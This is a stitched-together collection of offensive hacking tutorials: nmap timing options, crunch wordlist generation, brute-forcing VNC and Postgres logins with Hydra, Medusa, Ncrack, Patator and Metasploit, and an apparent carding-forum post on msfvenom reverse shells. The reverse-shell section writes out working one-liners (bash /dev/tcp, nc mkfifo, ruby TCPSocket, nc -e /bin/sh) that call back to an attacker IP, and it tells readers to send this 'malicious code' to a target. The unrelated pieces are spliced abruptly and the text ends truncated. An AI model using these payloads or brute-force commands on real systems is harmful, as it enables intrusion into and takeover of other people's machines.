nmap -sP 192.168.1.139 --host-timeout 100ms

The output from the above command had given 1 host is up.
[Image: 11.png?w=687&ssl=1]
Hostgroup
hostgroup attribute is specified to scan a specified number of hosts in the network at a time. You need to specify the minimum number of hosts or maximum number of hosts or both to be scanned at a time
nmap -sP 192.168.1.1/24 --min-hostgroup 3 --max-hostgroup 3
1
nmap -sP 192.168.1.1/24 --min-hostgroup 3 --max-hostgroup 3

From given below image you can be observed that it has shown only 3 live hosts from inside complete subnet mask and save your time from scanning the complete network.
[Image: 12.png?w=687&ssl=1]
Scan delay
Scan delay is used to delay the packet to be sent by the specified time. It is very useful in evading time-based firewalls.
nmap -p21-25 192.168.1.139 --scan-delay 11s
1
nmap -p21-25 192.168.1.139 --scan-delay 11s

[Image: 13.png?w=687&ssl=1]
here we can see the time difference in between the packets
packet 1: TCP SYN packet on port 25 at 07:58:01 from 192.168.1.126 to 192.168.1.139
[Image: 14.png?w=687&ssl=1]
packet 2: TCP SYN packet on port 22 at 07:58:12 from 192.168.1.126 to 192.168.1.139
Now if you will count the time difference between these packets you get 11 sec time laps between these two packets.
[Image: 15.png?w=687&ssl=1]
Maximum rate (max-rate)
Rate is an attribute that specifies at what rate is the packets are to be sent, in other words, number of packets to be sent at a time. Max-rate specifies the maximum number of packets to be sent at once.
nmap -p21-25 192.168.1.139 --max-rate 2
1
nmap -p21-25 192.168.1.139 --max-rate 2

[Image: 16.png?w=687&ssl=1]
wireshark shows that the packets sending rate are less than 2, means the number of packets sent at a time is less than or equal to 2
packet 1: TCP SYN packet on port 21 at 03:17:20 from 192.168.1.126 to 192.168.1.139
[Image: 17.png?w=687&ssl=1]
packet 2: TCP SYN packet on port 23 at 03:17:21 from 192.168.1.126 to 192.168.1.139
Now if you will count the time difference between these packets you get 1 sec time laps between these two packets indicating that these two packets were not sent together.
[Image: 18.png?w=687&ssl=1]
Minimum rate (min-rate)
Min-rate specifies the maximum number of packets to be sent at once. Here if we want at least 2 packets must be sent on target’s network at the same time not less than this, then need to execute below command.
nmap -p21-25 192.168.1.139 --min-rate 2
1
nmap -p21-25 192.168.1.139 --min-rate 2

[Image: 19.png?w=687&ssl=1]
wireshark shows that the packets sending rate are greater than 2, means the number of packets sent at a time is equal to or greater than 2
packet 1: TCP SYN packet on port 23 at 03:28:29 from 192.168.1.126 to 192.168.1.139
[Image: 20.png?w=687&ssl=1]
packet 2: TCP SYN packet on port 22 at 03:28:29 from 192.168.1.126 to 192.168.1.139
Now if you will count the time difference between these packets you get only a fraction of second as time laps between these two packets indicating that these two packets were sent together.
[Image: 21.png?w=687&ssl=1]
Parallelism
Parallelism attribute is used to send multiple packets in parallel, min-parallelism means that the number of packets to be sent in parallel is to be greater than the value specified and max-parallelism means that the number of packets to be sent in parallel is to be less than or equal to the value specified
nmap -p21-25 192.168.1.139 --min-parallelism 2 --max-parallelism 2
1
nmap -p21-25 192.168.1.139 --min-parallelism 2 --max-parallelism 2

[Image: 22.png?w=687&ssl=1]
In Wireshark we can see a couple of TCP-SYN packets sent in parallel from 192.168.1.126 which is neither less nor greater than 2.
[Image: 23.png?w=687&ssl=1]
Round trip timeout
Rtt timeout is the time specified for a packet to return a reply, min-rtt-timeout specifies the minimum value of time that is to be taken by a packet to return a reply
nmap -p21-25 192.168.1.139 --min-rtt-timeout 5ms
1
nmap -p21-25 192.168.1.139 --min-rtt-timeout 5ms

[Image: 24.png?w=687&ssl=1]
wireshark shows that the packet and its reply takes time greater than the min-rtt-timeout specified
[Image: 25.png?w=687&ssl=1]
packet 1: TCP SYN packet on port 25 at 08:10:53.232666116 from 192.168.1.126 to 192.168.1.139
packet 2: SYN-ACK packet from port 25 at 08:10:53.233466679 from 192.168.1.139 to 192.168.1.126
[Image: 26.png?w=687&ssl=1]
Max-rtt-timeout
max-rtt-timeout specifies the maximum value of time that is to be taken by a packet to return a reply
nmap -p21-25 192.168.1.139 --max-rtt-timeout 50ms
1
nmap -p21-25 192.168.1.139 --max-rtt-timeout 50ms

[Image: 27.png?w=687&ssl=1]
wireshark shows that the packet and its reply takes time lesser than the max-rtt-timeout
packet 1: TCP SYN packet on port 22 at 08:15:08.171777907 from 192.168.1.126 to 192.168.1.139
[Image: 28.png?w=687&ssl=1]
packet 2: SYN-ACK packet from port 22 at 08:15:08.173117154 from 192.168.1.139 to 192.168.1.126
[Image: 29.png?w=687&ssl=1]
Initial Round trip timeout
Initial-rtt-timeout specifies the initial value of time to be taken by a packet to return a reply, the return time can be greater or lesser than the  initial-rtt-timeout because of the max-rtt-timeout and min-rtt-timeout specifies the range of time for a packet to return a reply but the packet attempts to return a reply in the time specified in initial-rtt-timeout
nmap -p21-25 192.168.1.139 --initial-rtt-timeout 50ms
1
nmap -p21-25 192.168.1.139 --initial-rtt-timeout 50ms

[Image: 30.png?w=687&ssl=1]
Wireshark shows that the time taken by the packet to return reply is around the same time as specified in initial-rtt-timeout
packet 1: TCP SYN packet on port 23 at 08:18:45.342395520 from 192.168.1.126 to 192.168.1.139
[Image: 31.png?w=687&ssl=1]
packet 2: SYN-ACK packet from port 23 at 08:18:45.342930962 from 192.168.1.139 to 192.168.1.126
[Image: 32.png?w=687&ssl=1]

Hello friends!! Today we will demonstrate how a pentester can generate his own wordlist for username either password using the most powerful tool CRUNCH. In Kali Linux you can easily get crunch by exploring Application > Password Attacks > Crunch
Crunch can generate a wordlist subject to the conditions you specify and its output file can be used in any other another program or file.
[Image: 1.png?w=687&ssl=1]
We are using crunch version 3.6 for this tutorial and followed given below parameters for generating a wordlist.
Syntax: <min> <max> [character-string] [options]
Min-len:  This parameter specify minimum length string required for crunch to start generating wordlist.
Max-len: This parameter specifies maximum length string required for crunch to end.
Charset string: This parameter specifies character sets for crunch to use for generating wordlist from that string, if you have not specified any string then crunch will default characters string.
Options: crunch serves you a list of options which increase its functionality for generating wordlist as per your requirement.
[Image: 2.0.png?w=687&ssl=1]
Generating wordlist without using the character string
Execute given below command which will generate a dictionary that contains minimum 2 character letters and maximum 3 by using default character sets. It will start from aa and end with zzz.
crunch 2 3 -o /root/Desktop/0.txt
1
crunch 2 3 -o /root/Desktop/0.txt

Here we had used the following parameters for generating a dictionary:
Min_len: 2 for two character letters
Max_len: 3 for three character letters
-o: This option denotes the path to save the output in a text file.
From given below image you can observe that it has generated 18252 number of lines and saved in the 0.txt file.
[Image: 2.1.png?w=687&ssl=1]
Now here we had used cat command to read the content from the inside 0.txt file where we can perceive that it has started from aa and end with zzz as shown in given below image.
cat /root/Desktop/0.txt
1
cat /root/Desktop/0.txt

[Image: 2.2.png?w=687&ssl=1]
[Image: 2.3.png?w=687&ssl=1]
Generating wordlist using the character string
Now execute given below command which will generate a dictionary that contains minimum 3 character letters and maximum 4 by using “raj” as the specified string. Similarly, it will start from rrr and end with jjjj.
crunch 3 4 raj -o /root/Desktop/1.txt
1
crunch 3 4 raj -o /root/Desktop/1.txt

From given below image you can observe that it has generated 108 number of lines and saved in the 1.txt file.
[Image: 3.png?w=687&ssl=1]
Now we had used the cat command to read the content from the inside 1.txt file where we can perceive that it has started from rrr and end with jjjj.
cat /root/Desktop/1.txt
1
cat /root/Desktop/1.txt

Similarly, we can use the string of any number for making a dictionary which contains numeric characters.
For example, some users set their date of birth as password and we would like to generate a dictionary that contains a combination of four number such that it represents month and date for instant 25th May as 2505 then you can use “2505” as a character string for generating a numeric wordlist.
[Image: 4.png?w=687&ssl=1]
Generating alpha-numeric wordlist
You can generate your own alpha-numeric wordlist, execute given below command which will generate a dictionary that contains minimum 2 character letters and maximum 3 by using “raj123” as the specified string.
You can set minimum and maximum length for your wordlist as per your requirement.
crunch 2 3 raj123 -o /root/Desktop/3.txt
1
crunch 2 3 raj123 -o /root/Desktop/3.txt

[Image: 7.1.png?w=687&ssl=1]
Again we had used the cat command to read the content from the inside 3.txt file where we can perceive that it has a combination of alpha-numeric character.
cat /root/Desktop/3.txt
1
cat /root/Desktop/3.txt

[Image: 7.2.png?w=687&ssl=1]
Generating wordlist along with space character
The following command will generate wordlist using space character (\) with string “raj”. Instead of using (\) you can also use double quotes around string as “raj ” along with space within double quotes.
crunch 1 3 raj\ /root/Desktop/4.txt
1
crunch 1 3 raj\ /root/Desktop/4.txt

[Image: 7.png?w=687&ssl=1]
Create wordlist using character set file of RainbowCrack
As we have known rainbow crack has a character set file which is used for cracking hashes by using a rainbow table, but we’ll use this character set file for generating a complex wordlist as per situation demands.
cat /usr/share/rainbowcrack/charset.txt
1
cat /usr/share/rainbowcrack/charset.txt

We had used the cat command to express the list of the character set that has been stored in charset.txt of rainbow crack.  From given below image you can observe that it is showing the following list of the character set.
  • Numeric
  • Alpha
  • Alpha-numeric
  • Loweralpha
  • Loweralpha numeric
  • Mixalpha
  • Mixalpha-numeric
  • Ascii -32-95
  • Ascii -32-65-123-4
  • Alpha-numeric-symbol32-space
[Image: 8.png?w=687&ssl=1]
Now you can choose any character set for generating a wordlist. Let suppose I want to generate a wordlist which contains lower alphabets letter along with a numeric number for 5 letter words so for that I will execute the following command.
crunch 4 5 -f /usr/share/rainbowcrack/charset.txt loweralpha-numeric -o /root/Desktop/5.txt
1
crunch 4 5 -f /usr/share/rainbowcrack/charset.txt loweralpha-numeric -o /root/Desktop/5.txt

Here –f denotes Specifies a character set from the charset.lst
[Image: 9.png?w=687&ssl=1]
Again we had used the cat command to read the content from the inside 5.txt file where we can perceive that it has a combination of alpha-numeric character.
cat /root/Desktop/5.txt
1
cat /root/Desktop/5.txt

[Image: 10.png?w=687&ssl=1]
Generate wordlist with specific Pattern
Crunch provides –t option to generate a wordlist using a specific pattern as per your requirement.
Using option –t you can generate 4 type patters as specified below:
  • Use @ for lowercase alphabets
  • Use , for uppercase alphabets
  • Use % for numeric character
  • Use ^ for special character symbol
For generating a wordlist that contains 3 numeric characters on the right side of string “raj” for instant raj123, we need to execute the following command.
Since we have 3 letters from string raj and we are assuming 3 more numeric number after the given string, therefore the minimum length should be the sum of string and pattern character.
crunch 6 6 -t raj%%% -o /root/Desktop/6.txt
1
crunch 6 6 -t raj%%% -o /root/Desktop/6.txt

Here –t denotes % pattern is used for editing 3 numeric characters.
[Image: 11.png?w=687&ssl=1]
Again we had used the cat command to read the content from the inside 6.txt file where we can perceive that it has a combination of alpha-numeric character.
cat /root/Desktop/6.txt
1
cat /root/Desktop/6.txt

[Image: 12.png?w=687&ssl=1]
Generate wordlist with Duplicate character limit
Crunch let you bound the repetition of character by using –d parameters along with the given pattern.
As we saw, above the pattern for raj%%% starts with raj000 which means every single number will consecutive either twice or thrice such as it will contain word as raj000, raj001, raj111, raj110 and so on in the wordlist.
If you don’t wish to create a wordlist with the repeated number then you can use –d option to set the filter for repetition.
For example, I want to generate a wordlist by using the above pattern i.e. raj%%% and consecutive repetition of each number almost twice. For implementing such type of dictionary we need to execute below command.
crunch 6 6 -t raj%%% -d 2% -o /root/Desktop/6.1.txt
1
crunch 6 6 -t raj%%% -d 2% -o /root/Desktop/6.1.txt

here we had use following parameter
–t denotes % pattern is used for editing 3 numeric character
-d denote % pattern is used for editing 3 numeric characters with the repetition of each number almost twice.
[Image: 13.1.png?w=687&ssl=1]
Again we had used the cat command to read the content from inside 6.1.txt file where we can perceive that it has a combination of alpha-numeric character with repetition of each number two times.
cat /root/Desktop/6.1.txt
1
cat /root/Desktop/6.1.txt

Now if you will compare output file 6.txt and 6.1.txt then you can notice the difference of number repetition.
[Image: 13.2.png?w=687&ssl=1]
Generate wordlist with Pattern for uppercase letter
For generating a wordlist that contains 3 uppercase characters on the right side of string “raj” for instant rajABC, we need to execute the following command.
Since we have 3 letters from string raj and we are assuming 3 more uppercase letters after the given string, therefore the minimum length should be the sum of string and pattern character.
crunch 6 6 -t raj,,, -o /root/Desktop/7.txt
1
crunch 6 6 -t raj,,, -o /root/Desktop/7.txt

Here –t denotes (,) pattern is used for editing 3 uppercase letter character.
[Image: 13.png?w=687&ssl=1]
Again we had used the cat command to read the content from the inside 7.txt file where we can perceive that it has a combination of mix-alpha character.
cat /root/Desktop/7.txt
1
cat /root/Desktop/7.txt

[Image: 14.png?w=687&ssl=1]
Similarly, we can set the limit for uppercase letter repletion as done above. So if I want that alphabets should not be consecutive then we can execute given below command for generating such type of dictionary.
crunch 6 6 -t raj,,, -d 1, -o /root/Desktop/7.1.txt
1
crunch 6 6 -t raj,,, -d 1, -o /root/Desktop/7.1.txt

–t denotes (,) pattern is used for editing 3 uppercase character
-d denote (,) pattern is used for editing 3 uppercase characters with repetition of each number almost one.
[Image: 15.1.png?w=687&ssl=1]
Again we had used the cat command to read the content from inside 7.1.txt file where we can perceive that it has a combination of mix-alpha character with repetition of each number two times.
cat /root/Desktop/7.1.txt
1
cat /root/Desktop/7.1.txt

Now if you will compare output file 7.txt and 7.1.txt then you can notice the difference of alphabet repetition.
[Image: 15.2.png?w=687&ssl=1]
Use Permutation for generating a wordlist
-p option is used for generating wordlist with help of permutation, here can ignore min and max length of the character string. Moreover, it can be used with one-word string or multiple words string as given below.
crunch 3 6 -p raj chandel hackingarticles
1
crunch 3 6 -p raj chandel hackingarticles

From given below image you can analysis the output result and get the maximum number of permutation generated.
[Image: 15.png?w=687&ssl=1]
Generate a Dictionary with limited words
If you will observe above all output result then you will find crunch has generated dictionary and displays the number of the line for each dictionary. For instance, text file 0.txt has 18252 number of line and each line contains one word only.
So if you wish to set the filter for a certain number of the line should be generated then execute given below line.
crunch 5 5 IGNITE -c 25 -o /root/Desktop/8.txt
1
crunch 5 5 IGNITE -c 25 -o /root/Desktop/8.txt

It will generate a dictionary of 25 words only and save output in 8.txt.
[Image: 16.1.png?w=687&ssl=1]
Again we had used the cat command to read the content from an inside 8.txt file where we can perceive that it has only 25 alpha character.
cat /root/Desktop/8.txt
1
cat /root/Desktop/8.txt

[Image: 16.2.png?w=687&ssl=1]
Wordlist Fragmentation
Use –b option for wordlist fragmentation that split a single wordlist into multi wordlist. It is a quite useful option for dividing wordlist which is in GB can break into MB.
crunch 5 7 raj@123 -b 3mb -o START
1
crunch 5 7 raj@123 -b 3mb -o START

From given below image you can observe that it has divided a 7MB file into three text file.
[Image: 17.png?w=687&ssl=1]
Generate compressed Dictionary
Crunch let you generate compress wordlist with option –z and other parameters are gzip, bzip2, lzma, and 7z, execute given below command for compression.
crunch 5 7 raj@123 –z gzip -o START
1
crunch 5 7 raj@123 –z gzip -o START

From given below image you can observe that it has generated the compress text file.
[Image: 18.png?w=687&ssl=1]

In this article, we will learn how to gain control over our victim’s PC through 5900 Port use for VNC service. There are various ways to do it and let take time and learn all those because different circumstances call for a different measure.
Table of Contents
  • Hydra
  • X-Hydra
  • Medusa
  • Ncrack
  • Patator
  • Metasploit
Let’s starts!!
xHydra
This is the graphical version to apply dictionary attack via 5900 port to hack a system. For this method to work:
Enter xHydra in your Kali Linux terminal. And select Single Target option and there give the IP of your victim PC. And select VNC in the box against Protocol option and give the port number 5900 against the port option.
[Image: 1.png?w=687&ssl=1]
Now, go to Passwords tab and select Password List and give the path of your text file, which contains all the passwords, in the box adjacent to it.
[Image: 2.png?w=687&ssl=1]
After doing this, go to the Start tab and click on the Start button on the left.
Now, the process of dictionary attack will start. Thus, you will obtain the username and password of your victim.
[Image: 3.png?w=687&ssl=1]
Hydra
Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, vnc, http, https, smb, several databases, and much more
Now, we need to choose a word list. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.
Run the following command
hydra -s 5900 –P /root/Desktop/pass.txt –t 16 192.168.0.6 vnc
1
hydra -s 5900 –P /root/Desktop/pass.txt –t 16 192.168.0.6 vnc

-P:  denotes the path for the password list
-s: denote destination port number
-t: Run TASKS number of connects in parallel
Once the commands are executed it will start applying the dictionary attack and so you will have the right password in no time. As you can observe that we had successfully grabbed the VNC password as 098765
[Image: 4.png?w=687&ssl=1]
Metasploit
This module will test a VNC server on a range of machines and report successful logins. Currently, it supports RFB protocol version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge-response authentication method.
use auxiliary/scanner/vnc/vnc_login
msf auxiliary(scanner/vnc/vnc_login) > set rhosts 192.168.0.6
msf auxiliary(scanner/vnc/vnc_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(scanner/vnc/vnc_login) > run

1
2
3
4

use auxiliary/scanner/vnc/vnc_login
msf auxiliary(scanner/vnc/vnc_login) > set rhosts 192.168.0.6
msf auxiliary(scanner/vnc/vnc_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(scanner/vnc/vnc_login) > run

Awesome!! From given below image you can observe the same password: 098765 have been found by Metasploit.
[Image: 5.png?w=687&ssl=1]
Patator
Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage. It is quite useful for making brute force attack on several ports such as VNC, HTTP, SMB and etc.
patator vnc_login host=192.168.0.6 password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
1
patator vnc_login host=192.168.0.6 password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0

[Image: 6.png?w=687&ssl=1]
From given below image you can observe that the process of dictionary attack starts and thus, you will obtain the password of your victim.
[Image: 7.1.png?w=687&ssl=1]
Medusa
Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. It supports many protocols: AFP, CVS, VNC, HTTP, IMAP, rlogin, SSH, Subversion, and VNC to name a few
Run the following command
medusa -h 192.168.0.6 –u root -P /root/Desktop/pass.txt –M vnc
1
medusa -h 192.168.0.6 –u root -P /root/Desktop/pass.txt –M vnc

Here
-u: denotes username
-P:  denotes the path for the password list
As you can observe that we had successfully grabbed the VNC password like 098765.
[Image: 7.png?w=687&ssl=1]
Ncrack
Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords.
Run the following command
ncrack -V --user root -P /root/Desktop/pass.txt 192.168.0.6:5900
1
ncrack -V --user root -P /root/Desktop/pass.txt 192.168.0.6:5900

Here
-U: denotes the path for username list
-P:  denotes the path for the password list
As you can observe that we had successfully grabbed the vnc password like 098765.
[Image: 8.png?w=687&ssl=1]


  [Guide] How to Generating Reverse Shell using Msfvenom (One Liner Payload)
Posted by: NINZA - 05-14-2020, 08:24 AM - Forum: Carders Home - No Replies

Hello friends!! Today you will learn how to spawn a TTY reverse shell through netcat by using single line payload which is also known as stagers exploit that comes in Metasploit.
Basically, there are two types of terminal TTYs and PTs. TTYs are Linux/Unix shell which is hardwired terminal on a serial connection connected to mouse or keyboard and PTs is sudo tty terminal, to get the copy of terminals on network connections via SSH or telnet.
Let’s start!!
Attacker: Kali Linux
Target: Ubuntu
Open the terminal in your Kali Linux and type msfconsole to load Metasploit framework, now search all one-liner payloads for UNIX system using search command as given below, it will dump all exploit that can be used to compromise any UNIX system.
search cmd/unix
1
search cmd/unix

From given below image you can observe that it has dumped all exploit that can be used to be compromised any UNIX system. In this tutorial, we are going to use some of the payloads to spawn a TTY shell.
[Image: 1.png?w=687&ssl=1]
Bash Shell
In order to compromise a bash shell, you can use reverse_bash payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.103 lport=1111 R
1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.103 lport=1111 R

Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_bash
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 1111 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 67 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTy shell.
[Image: 2.png?w=687&ssl=1]
For example when the target will open
0<&121-;exec 121<>/dev/tcp/192.168.1.103/1111;sh <&121 >&121 2>&121>
1
0<&121-;exec 121<>/dev/tcp/192.168.1.103/1111;sh <&121 >&121 2>&121>

malicious code in terminal, the attacker will get a reverse shell through netcat.
[Image: 3.png?w=687&ssl=1]
nc -lvp 1111
1
nc -lvp 1111

As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell, now he can do whatever he wishes to do.
For example:
whoami: it tells you are the root user of the system you have compromised.
[Image: 4.png?w=687&ssl=1]
Netcat Shell
In order to compromise a netcat shell, you can use reverse_netcat payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.103 lport=2222 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.103 lport=2222 R

Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_netcat
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 2222 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 104 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.
[Image: 5.png?w=687&ssl=1]
when the target will open
mkfifo /tmp/admoszx; nc 192.168.1.103 2222 0</tmp/admsozx | /bin/sh >/tmp/admson 2>&1; rm /tmp/admoszx )
1
mkfifo /tmp/admoszx; nc 192.168.1.103 2222 0</tmp/admsozx | /bin/sh >/tmp/admson 2>&1; rm /tmp/admoszx )

malicious code in terminal, the attacker will get a reverse shell through netcat.
[Image: 6.png?w=687&ssl=1]
nc -lvp 2222
1
nc -lvp 2222

As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell.
[Image: 7.png?w=687&ssl=1]
Perl shell
In order to compromise a Perl shell, you can use reverse_perl payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_perl lhost=192.168.1.103 lport=3333 R
1
msfvenom -p cmd/unix/reverse_perl lhost=192.168.1.103 lport=3333 R

Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_perl
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 3333 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 232 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.
[Image: 8.png?w=687&ssl=1]
Now again when the target will open malicious code in terminal, the attacker will get a reverse shell through netcat.
[Image: 9.png?w=687&ssl=1]
nc -lvp 3333
1
nc -lvp 3333

As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell. Here we found target IP address: 192.168.1.1106 by executing the ifconfig command in his TTY shell.
[Image: 10.png?w=687&ssl=1]
Python Shell
In order to compromise a python shell, you can use reverse_Python payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.103 lport=4444 R
1
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.103 lport=4444 R

Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_python
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 4444 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 533 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.
[Image: 11.png?w=687&ssl=1]
Again when the target will open the following malicious code in his terminal, the attacker will get the reverse shell through netcat.
[Image: 12.png?w=687&ssl=1]
nc -lvp 4444
1
nc -lvp 4444

As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell, now he can do whatever he wishes to do.
For example:
ifconfig: it tells IP configuration of the system you have compromised.
[Image: 13.png?w=687&ssl=1]
Ruby Shell
In order to compromise a ruby shell, you can use reverse_ruby payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_ruby lhost=192.168.1.103 lport=5555 R
1
msfvenom -p cmd/unix/reverse_ruby lhost=192.168.1.103 lport=5555 R

Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_ruby
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 5555 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 131 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.
[Image: 14.png?w=687&ssl=1]
Again when the target will open
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.103","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.103","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

malicious code in his terminal, the attacker will get a reverse shell through netcat.
[Image: 15.png?w=687&ssl=1]
nc -lvp 5555
1
nc -lvp 5555

As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell, now he can do whatever he wishes to do.
For example:
ifconfig: it tells IP configuration of the system you have compromised.
[Image: 16.png?w=687&ssl=1]
Netcat Gaping (Traditional)
In order to compromise a command shell, you can use reverse_netcat_gaping payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_netcat_gaping lhost=192.168.1.103 lport=6666 R
1
msfvenom -p cmd/unix/reverse_netcat_gaping lhost=192.168.1.103 lport=6666 R

Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_netcat_gaping
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 6666 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 533 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.
[Image: 17.png?w=687&ssl=1]
In order to access /bin/sh shell of the target system for compromising TTY shell firstly, we had access PTs terminal  of the target through SSH and then paste the malicious code
nc 192.168.1.103 6666 -e /bin/sh
1
nc 192.168.1.103 6666 -e /bin/sh

[Image: 18.png?w=687&ssl=1]
nc -lvp 6666
1
nc -lvp 6666

From given below image you can observe that we had successfully access TTY shell of the target system.
[Image: 19.png?w=687&ssl=1]

In this article, we will learn how to gain control over our victim’s PC through 5432 Port use for Postgres service. There are various ways to do it and let take time and learn all those because different circumstances call for a different measure.
Table of Contents

  • Hydra
  • X-Hydra
  • Medusa
  • Ncrack
  • Patator
  • Metasploit
Let’s starts!!
Hydra
Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, Postgres, http, https, smb, several databases, and much more
Now, we need to choose a word list. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.
Run the following command
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.120 postgres
1
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.120 postgres

-L: denotes path for username list
-P:  denotes path for the password list
Once the commands are executed it will start applying the dictionary attack and so you will have the right username and password in no time. As you can observe that we had successfully grabbed the Postgres username as Postgres and password as postgres.
[Image: 2.png?w=687&ssl=1]
xHydra
This is the graphical version to apply dictionary attack via 5432 port to hack a system. For this method to work:
Open xHydra in your kali And select Single Target option and there give the IP of your victim PC. And select Postgres in the box against Protocol option and give the port number 5432 against the port option.
[Image: 3.png?w=687&ssl=1]
Now, go to Passwords tab and select Username List and give the path of your text file, which contains usernames, in the box adjacent to it.
Then select Password List and give the path of your text file, which contains all the passwords, in the box adjacent to it.
[Image: 4.png?w=687&ssl=1]
After doing this, go to the Start tab and click on the Start button on the left.
Now, the process of dictionary attack will start. Thus, you will attain the username and password of your victim.
[Image: 5.png?w=687&ssl=1]
Medusa
Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. It supports many protocols: AFP, CVS, POSTGRES, HTTP, IMAP, rlogin, SSH, Subversion, and VNC to name a few
Run the following command
medusa -h 192.168.1.120 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
1
medusa -h 192.168.1.120 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres

Here
-U: denotes path for username list
-P:  denotes path for the password list
As you can observe that we had successfully grabbed the Postgres username as Postgres and password as postgres.
[Image: 6.png?w=687&ssl=1]
Ncrack
Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords.
Run the following command
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.120:5432
1
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.120:5432

Here
-U: denotes path for username list
-P:  denotes path for the password list
As you can observe that we had successfully grabbed the Postgres username as Postgres and password as postgres.
[Image: 7.png?w=687&ssl=1]
Patator
Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage. It is quite useful for making brute force attack on several ports such as POSTGRES, HTTP, SMB and etc.
patator pgsql_login host=192.168.1.120 user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
1
patator pgsql_login host=192.168.1.120 user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt

[Image: 8.png?w=687&ssl=1]
From given below image you can observe that the process of dictionary attack starts and thus, you will attain the username and password of your victim.
[Image: 9.png?w=687&ssl=1]
Metasploit
This module attempts to authenticate against a PostgreSQL instance using the username and password combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. Note that passwords may be either plaintext or MD5 formatted hashes.
Open Kali terminal type msfconsole Now type
use auxiliary/scanner/postgres/postgres_login
msf exploit (scanner/postgres/postgres_login)>set rhosts 192.168.1.120
msf exploit (scanner/postgres/postgres_login)>set user_file /root/Desktop/user.txt
msf exploit (scanner/postgres/postgres_login)>set pass_file /root/Desktop/pass.txt
msf exploit (scanner/postgres/postgres_login)>set stop_on_success true
msf exploit (scanner/postgres/postgres_login)> exploit

1
2
3
4
5
6

use auxiliary/scanner/postgres/postgres_login
msf exploit (scanner/postgres/postgres_login)>set rhosts 192.168.1.120
msf exploit (scanner/postgres/postgres_login)>set user_file /root/Desktop/user.txt
